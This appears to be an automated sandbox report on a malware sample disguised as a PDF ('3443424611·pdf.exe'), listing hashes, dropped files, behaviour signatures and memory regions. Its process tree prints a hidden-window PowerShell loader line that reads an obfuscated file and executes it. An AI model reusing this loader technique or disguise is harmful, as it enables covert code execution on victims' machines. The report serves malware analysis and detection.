Overview
overview
10Static
static
33443424611·pdf.exe
windows7-x64
103443424611·pdf.exe
windows10-2004-x64
8$PLUGINSDI...sh.dll
windows7-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...ge.dll
windows7-x64
1$PLUGINSDI...ge.dll
windows10-2004-x64
1$PLUGINSDI...fo.dll
windows7-x64
3$PLUGINSDI...fo.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3Analysis
-
max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
28-06-2024 11:01
Static task
static1
Behavioral task
behavioral1
Sample
3443424611·pdf.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
3443424611·pdf.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/BgImage.dll
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/BgImage.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240220-en
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240611-en
General
-
Target
3443424611·pdf.exe
-
Size
655KB
-
MD5
b1635b455bd73cb6c547728cb1d1fca1
-
SHA1
5e016cc09d0c5f8429c6955bc3bfd9a07d25741d
-
SHA256
5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930
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SHA512
9829dc60d520c945c1aef68dd6942a1eca4cc0c4fe8dc092e20bdade413ffe412a58e376be446e64cc479cb4e2d872828336fbc8742189d20656900bdcb97795
-
SSDEEP
6144:z9KOQS4B4GMSGJpFhcbvDIZDAPGQzvOWECsjqfn/HUgcwViw6977fdRw9wQZe:zsB4GOcbrKDgTzvOWlEgcwVh693fdWY
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Loads dropped DLL 4 IoCs
Processes:
3443424611·pdf.exepid process 3412 3443424611·pdf.exe 3412 3443424611·pdf.exe 3412 3443424611·pdf.exe 3412 3443424611·pdf.exe -
Drops file in Windows directory 1 IoCs
Processes:
3443424611·pdf.exedescription ioc process File opened for modification C:\Windows\Fonts\anorakkerne.ini 3443424611·pdf.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1800 5032 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepid process 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5032 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
3443424611·pdf.exedescription pid process target process PID 3412 wrote to memory of 5032 3412 3443424611·pdf.exe powershell.exe PID 3412 wrote to memory of 5032 3412 3443424611·pdf.exe powershell.exe PID 3412 wrote to memory of 5032 3412 3443424611·pdf.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3443424611·pdf.exe"C:\Users\Admin\AppData\Local\Temp\3443424611·pdf.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Skyldraadet48=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.Gle';$Spaciotemporal=$Skyldraadet48.SubString(71979,3);.$Spaciotemporal($Skyldraadet48)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 22923⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5032 -ip 50321⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3al1pms.gqa.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\nsq4845.tmp\AdvSplash.dllFilesize
6KB
MD56def2cf3daf850acdc1a3e7340a439c4
SHA195d0d26f60cd5af697502cd5e53a54913ab188fb
SHA2563ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175
SHA51216b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413
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C:\Users\Admin\AppData\Local\Temp\nsq4845.tmp\BgImage.dllFilesize
7KB
MD52bb17d45e5ad92053ce1e500408dd8a9
SHA1f5d3a7ee6e28df532e9ce33976c92ff30a5665e4
SHA25671ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53
SHA512efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f
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C:\Users\Admin\AppData\Local\Temp\nsq4845.tmp\UserInfo.dllFilesize
4KB
MD58ef0e4eb7c89cdd2b552de746f5e2a53
SHA1820f681e7cec409a02b194a487d1c8af1038acf0
SHA25641293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc
SHA512a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5
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C:\Users\Admin\AppData\Local\Temp\nsq4845.tmp\nsExec.dllFilesize
6KB
MD5c129bc26a26be6f5816a03520bb37833
SHA118100042155f948301701744b131c516bf26ddb8
SHA256d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4
SHA512dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63
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C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.GleFilesize
70KB
MD53cb12e501d2c790546fa8c72d66c2f75
SHA1b4cefc4cc65317033b389e7c5cad6f049ddd9bc1
SHA256f4279bda3166ee49b35f96f2a16584496cfdf56812948787b206a99c4438b55f
SHA51205b150c4ecce9177cbea741ef18327727b5d619d0bd820a70be61045a191494dcf5cf856e3b3a426ed4105e9b4464c24fca2977ba2ff9c44317c879594e9b3d8
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C:\Users\Admin\Pictures\slukningen.lnkFilesize
990B
MD503385559879a3aeb84af3cb074e5fa3e
SHA1fc9c76e19ea0bbbf3dfb48d669740d0a80f5ea71
SHA256de3b3713d3fd40743e59b7987736dfbbe322940515bb27c55133542fa035db99
SHA512c50ff69788a52c4d7222e79f7979d198c423f2f7402ae5093809359ce040f8e9a2a6cf662b60238b8d1051c9c30f3980c093452785157f13f20990a8dc99f063
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memory/5032-187-0x0000000005E30000-0x0000000005E96000-memory.dmpFilesize
408KB
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memory/5032-199-0x0000000006470000-0x00000000064BC000-memory.dmpFilesize
304KB
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memory/5032-184-0x0000000074120000-0x00000000748D0000-memory.dmpFilesize
7.7MB
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memory/5032-185-0x0000000005CB0000-0x0000000005CD2000-memory.dmpFilesize
136KB
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memory/5032-186-0x0000000005D50000-0x0000000005DB6000-memory.dmpFilesize
408KB
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memory/5032-182-0x0000000074120000-0x00000000748D0000-memory.dmpFilesize
7.7MB
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memory/5032-181-0x0000000002E60000-0x0000000002E96000-memory.dmpFilesize
216KB
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memory/5032-197-0x0000000005FA0000-0x00000000062F4000-memory.dmpFilesize
3.3MB
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memory/5032-198-0x0000000006440000-0x000000000645E000-memory.dmpFilesize
120KB
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memory/5032-183-0x0000000005650000-0x0000000005C78000-memory.dmpFilesize
6.2MB
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memory/5032-201-0x0000000006960000-0x000000000697A000-memory.dmpFilesize
104KB
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memory/5032-200-0x00000000069B0000-0x0000000006A46000-memory.dmpFilesize
600KB
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memory/5032-202-0x0000000007600000-0x0000000007622000-memory.dmpFilesize
136KB
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memory/5032-203-0x0000000007BE0000-0x0000000008184000-memory.dmpFilesize
5.6MB
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memory/5032-180-0x000000007412E000-0x000000007412F000-memory.dmpFilesize
4KB
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memory/5032-205-0x0000000008810000-0x0000000008E8A000-memory.dmpFilesize
6.5MB
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memory/5032-207-0x0000000074120000-0x00000000748D0000-memory.dmpFilesize
7.7MB